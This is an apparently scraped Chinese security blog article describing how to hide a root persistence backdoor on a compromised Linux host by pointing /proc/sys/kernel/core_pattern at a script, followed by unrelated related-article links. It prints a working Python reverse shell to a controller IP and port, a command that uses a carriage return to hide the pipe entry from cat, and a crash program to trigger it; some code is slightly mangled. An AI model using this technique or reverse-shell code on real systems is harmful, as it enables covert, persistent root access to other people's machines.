ref:https://xz.aliyun.com/t/1098/


这里所说的core_pattern 指的是:/proc/sys/kernel/core_pattern。 我们知道在Linux系统中,如果进程崩溃了,系统内核会捕获到进程崩溃信息,然后将进程的coredump 信息写入到文件中,这个文件名默认是core,但是也可以通过配置修改这个文件名。比如可以通过修改/proc/sys/kernel/core_pattern 文件的内容来指定。

Linux man 手册上关于core_pattern的描述:

自Linux 内核2.6.19 之后 core_pattern 不仅仅可以包含一个指定报文coredump信息的文件名,还可以是Linux 管道加一个用户空间的程序或者一个脚本

如果core_pattern 中第一个字符是 Linux管道符 |, 那么Linux 内核在捕获进程崩溃信息的时候,就会以root权限执行管道符后门的程序或者脚本,将进程崩溃信息传递给这个程序或者脚本,这就给我们提供了一个隐藏系统后门的方法,我们可以在管道符后面隐藏我们的后门脚本,以实现在特定条件下反弹shell

下面实例演示使用此方法隐藏后门

0x01. 实例演示

试验环境:

10.1.100.2          控制端 (centos7)

10.1.100.3          victim (kali2)

控制端执行监听,等待后门连接:

被控端(这里的被控端指的就是我们渗透成功的victim机器,root权限)执行以下配置:

1、准备后门脚本

事先准备好反弹shell后门脚本,保存为/tmp/.x.py ,这个脚本在进程崩溃的时候被内核执行(那就是以root权限执行了),脚本代码如下:
[code]#!/usr/bin/env python
    # -- coding:utf8 --

import os
    import pty
    import socket
    
    lhost = "10.1.100.2" # XXX: CHANGEME
    lport = 31337 # XXX: CHANGEME
    
    def main():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((lhost, lport))
        os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        os.putenv("HISTFILE",'/dev/null')
        pty.spawn("/bin/bash")
        os.remove('/tmp/x.py')   # 销毁自身
        s.close()
        
    if name == "main":
        main()[/code]

非常简单的一段py脚本, 可以用来反弹一个shell

然后执行以下命令,给脚本赋予执行权限

chmod 755 /tmp/x.py

  1. 修改core_pattern的内容

然后再修改/proc/sys/kernel/core_pattern的内容,执行如下命令:

echo -e "|/tmp/.x.py \rcore       " >  /proc/sys/kernel/core_pattern

注: core 后面有若干空格,不可省略 (多余的空格是为了在显示的时候遮盖前面的内容)

我们看一下此刻/proc/sys/kernel/core_pattern 中的内容

用cat命令查看

只显示 'core      ', 而|/tmp/x.py 却不见了,这是为何?

这是因为 \r (在Linux系统中意为:将光标移动至行首,却不换行),终端在显示的时候core      覆盖了 |/tmp/.x.py 的显示,给人造成一种迷惑,以达到隐藏|/tmp/.x.py 的目的

3、演示程序崩溃,触发后门执行

接下来就是触发系统程序崩溃了,为了演示, 我写了一段含有错误的代码(实际环境上可能要等待某个进程崩溃)
    
[code]#include <stdio.h>
    int main(void)
    {
    ((int )0) = 0;
    int a = NULL;
    
a = 0x1;
    return 0;
    }[/code]

执行以下命令编译:

增加权限 chmod 755 a.out

然后执行./a.out,使程序崩溃 (看到 core dumped 即表示程序已经崩溃,测试的时候需要适当设置ulimit的值)

然后我们的监听端就已经获取到了系统shell

0x02. 总结

本文旨在提供一种思路分享,希望大家多提意见改进

利用 /proc/sys/kernel/core_pattern隐藏系统后门的更多相关文章

  1. 关于热插拔usb hotplug /proc/sys/kernel mdev udev b...

    转:http://www.360doc.com/content/10/0527/18/9922_29835045.shtml 这篇文章说的很好http://blog.chinaunix.net/u1/ ...

  2. LINUX远程强制重启/proc/sys/kernel/sysrq /proc/sysrq-trigger

    1.     # echo 1 > /proc/sys/kernel/sysrq 2.     # echo b > /proc/sysrq-trigger 1. /proc/sys/ke ...

  3. /proc/sys/kernel/sysrq /proc/sysrq-trigger----强制重启/触发器

    LINUX远程强制重启/proc/sys/kernel/sysrq /proc/sysrq-trigger----触发器 ttp://blog.csdn.net/beckdon/article/det ...

  4. "echo 0 /proc/sys/kernel/hung_task_timeout_secs" disable this message

    问题现象: 问题原因: 默认情况下, Linux会最多使用40%的可用内存作为文件系统缓存.当超过这个阈值后,文件系统会把将缓存中的内存全部写入磁盘, 导致后续的IO请求都是同步的. 将缓存写入磁盘时 ...

  5. linux主机hang住echo 0 > /proc/sys/kernel/hung_task_timeout_secs disables this message

    用dmesg显示如下图信息 问题原因: 默认情况下, Linux会最多使用40%的可用内存作为文件系统缓存.当超过这个阈值后,文件系统会把将缓存中的内存全部写入磁盘, 导致后续的IO请求都是同步的. ...

  6. Linux TCP/IP调优参数 /proc/sys/net/目录

    所有的TCP/IP调优参数都位于/proc/sys/net/目录. 例如, 下面是最重要的一些调优参数,后面是它们的含义: /proc/sys/net/core/rmem_default " ...

  7. 向linux内核增加一个系统调用-2(利用proc打印信息)

    添加系统调用,打印/proc中的系统信息 前面关于proc和内核态函数的东西可以对比代码来看. 参考 http://blog.csdn.net/kylin_fire_zeng/article/deta ...

  8. /proc/sys目录下各文件参数说明

    linux 其他知识目录 原文链接:https://blog.csdn.net/hshl1214/article/details/4596583 一.前言本文档针对OOP8生产环境,具体优化策略需要根 ...

  9. [转帖]/proc/sys目录下各文件参数说明

    /proc/sys目录下各文件参数说明 https://blog.csdn.net/luteresa/article/details/68061881   一.前言 本文档针对OOP8生产环境,具体优 ...

随机推荐

  1. pycharm设置自动换行的方法

    只对当前文件有效的操作:菜单栏->View -> Active Editor -> Use Soft Wraps: 如果想对所有文件都有效,就要在setting里面进行操作:File ...

  2. Ubuntu17.04 sudo apt-get update升级错误

    最近在折腾Ubuntu,安装的是17.04版本的.想安装PHP7.X最新版本,但是要先升级.利用sudo apt-get update命名后,出现了以下报错: 忽略:1 http://cn.archi ...

  3. Python(五)模块

    本章内容: 模块介绍 time & datetime random os sys json & picle hashlib XML requests ConfigParser logg ...

  4. 入门 Webpack,一篇就够了

    阅读本文之前,先看下面这个webpack的配置文件,如果每一项你都懂,那本文能带给你的收获也许就比较有限,你可以快速浏览或直接跳过:如果你和十天前的我一样,对很多选项存在着疑惑,那花一段时间慢慢阅读本 ...

  5. TK2 USB修复

    https://www.jianshu.com/p/bb4587014349 开发板刷机过程全程联网 除了Jetson TX2之外,您还需要另一台带有Intel或AMD x86处理器的台式机或笔记本电 ...

  6. MySQL数据库事务及其特性

    一.事务概念 事务就是一个程序执行单元,里面的操作要么都做,要么都不做. 二.事务特性 事务有四个非常重要的特性(ACID): 原子性(Atomicity):事务是不可分割的整体,所有操作要么全做,要 ...

  7. js获取浏览器窗体最大化事件

    <mce:script language="javascript"><!--function ReSet() {document.getElementById(& ...

  8. Autoware(1)——快速开始

    该部分可参照github Autoware中的 Demo Quick_Start. 1. 建立目录“.autoware”来保存demo数据 mkdir .autoware 2. 下载Demo数据下载d ...

  9. [亲测]七步学会ASP.NET Core 2.0怎么发布/部署到Ubuntu Linux服务器并配置Nginx反向代理实现域名访问

    前言 ASP.NET Core 2.0 怎么发布到Ubuntu服务器?又如何在服务器上配置使用ASP.NET Core网站绑定到指定的域名,让外网用户可以访问呢? 步骤 第1步:准备工作 一台Liun ...

  10. 《React Native 精解与实战》书籍连载「React Native 源码学习方法及其他资源」

    此系列文章将整合我的 React 视频教程与 React Native 书籍中的精华部分,给大家介绍 React Native 源码学习方法及其他资源. 最后的章节给大家介绍 React Native ...